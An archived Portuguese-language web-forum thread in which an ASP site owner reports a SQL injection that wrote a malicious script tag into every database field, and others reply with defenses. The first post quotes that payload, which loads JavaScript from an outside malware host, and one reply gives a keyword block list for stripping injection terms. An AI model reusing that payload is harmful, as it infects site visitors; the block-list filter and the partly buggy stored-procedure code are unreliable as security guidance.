Ir para conteúdo

POWERED BY:

Arquivado

Este tópico foi arquivado e está fechado para novas respostas.

dolci

Invasão ao Banco SQL

Recommended Posts

Tenho uma aplicação em ASP que utiliza banco de dados SQL Server, só que já pela segunda vez sofri uma invasão ao banco, colocar em todos os campos do banco o script: <script src=http://www.nihaorr1.com/1.js></script>, isso baixa um vírus quando acessa o site do cliente.

Como vocês me orientariam para me proteger, algum tipo de criptografia ou algo parecido.

Espero que me ajudem.

Grato.

Compartilhar este post


Link para o post
Compartilhar em outros sites

você tem q montar uma proteção de sql injection pelas urls

você tem alguma pagina que esta assim por exemplo noticia.asp?id=123?

 

se sim utiliza esta funcao aqui:

 

Function LimpaLixo(input)

dim lixo,lixo2

dim textoOK

lixo = array ("select","drop",";","--","insert","delete","xp_","update","'","+having")

lixo2 = array ("+select","+drop",";","--","+insert","+delete","+xp_","+update","'","+having")

textoOK = input

for i = 0 to UBound(lixo)

textoOK = replace(textoOK,lixo(i),"")

Next

for i = 0 to UBound(lixo2)

textoOK = replace(textoOK,lixo2(i),"")

Next

LimpaLixo = textoOK

End Function

Compartilhar este post


Link para o post
Compartilhar em outros sites

Passar parametros por url eh complicado cara.

De uma lida em uns artigos sobre SQL Injetion.

http://imasters.com.br/artigo/5179/sql...omo_se_proteger

http://www.istf.com.br/vb/showthread.php?t=5207

 

Abçs

Compartilhar este post


Link para o post
Compartilhar em outros sites

Realemtne voce nao pode permitir este tipo de entradas

 

As linguagens tem funções que convertem este codigo para um que exibe a mesma coisa mas nao permite que o codigo funcione

 

que linguagem voce está usando

Compartilhar este post


Link para o post
Compartilhar em outros sites

Realemtne voce nao pode permitir este tipo de entradas

 

As linguagens tem funções que convertem este codigo para um que exibe a mesma coisa mas nao permite que o codigo funcione

 

que linguagem voce está usando

 

Estou usando ASP

Compartilhar este post


Link para o post
Compartilhar em outros sites

Entao antes de gravar o valor use HTMLEncode

 

Valor = Server.HTMLEncode(Valor)

 

Ai pode gravar o valor sem medo de ser feliz pois nao executará este tipo de script malicioso

Compartilhar este post


Link para o post
Compartilhar em outros sites

Conhece Stored Procedure?

 

Evita o SQL Inject!

Acho que pode lhe acrescetar algo!

Facilida o trabalho no ASP também.

 

Acho que seria algo muito interessante ...

no ASP faço a chamada da procedure passando os parâmetros

que ela precisa e ao final ela retornaria uma seleção.

 

Chamada da procedure no ASP:

Dim nomeRecordSet
Dim nomeCommand

'Atribuindo o Command, Recordset e cirando conexão com o Banco
Set nomeRecordSet = Server.CreateObject("ADODB.Recordset")
Set nomeCommand = Server.CreateObject("ADODB.Command")
nomeCommand.ActiveConnection = NOME_STRING 'String de conexão do banco

nomeCommand.CommandText = "NOME_PROCEDURE" 'Nome da procedure
nomeCommand.CommandType = 4 ' Tipo 4 = stored procedure

' Carregando os parametros
nomeCommand("@nome") = Request.Form("nome")

'Executando
set nomeRecordSet = nomeCommandos.Execute

Criação da PROC no SQL Server:

CREATE PROCEDURE [nome]
(
	[parametros]
)
AS
BEGIN

	 "CONTEUDO"

	 (RETURN [valor]) - opcional

END

Supondo que temos uma TABLE chamada "PESSOA"

com dois campos idPessoa (pk com auto-incremento) e nomePessoa.

 

Exemplo de INSERT em uma TBL:

CREATE PROCEDURE PRC_INSERE_PESSOA
(			
	@nome varchar(30) /* parâmetro recebido pela página */
)			
as			
begin

	insert into pessoas(nome)
	values(@nome)
					  
end

Exemplo de SELECT em uma TBL:

CREATE PROCEDURE PRC_BUSCA_PESSOA
(			
	@id varchar(30) /* parâmetro recebido pela página */
)			
as			
begin

	select idPessoa, nomePessoa				   
	from pessoa
	where colunaId = @id /* nome(campo da tabela) e @nome(parâmetro) */
					  
end

Chamadas dos dados da tabela na página:

<%=Replace(nomeRecordSet("COLUNA_TABELA"), "#13", "<br/>")%>
Esse caso aqui é uma div que traz o conteudo de um e-mail.

 

Como uso Procedure o trabalho na página fica muito mais fácil

no caso um recordset da conta do recado para trazer os dados

retornados pela Procedure.

 

links interessantes:

 

Uma descrição simples

 

Mini tutorial

 

Como chamar uma procedure

 

Inserir, Editar, Excluir, Listar e Buscar

 

mais informações: F1 "Help" do SQL Server (uso a versão 2000)

 

http://forum.imasters.com.br/public/style_emoticons/default/thumbsup.gif

Epsero ter acrescentando algo!

Compartilhar este post


Link para o post
Compartilhar em outros sites

×

Informação importante

Ao usar o fórum, você concorda com nossos Termos e condições.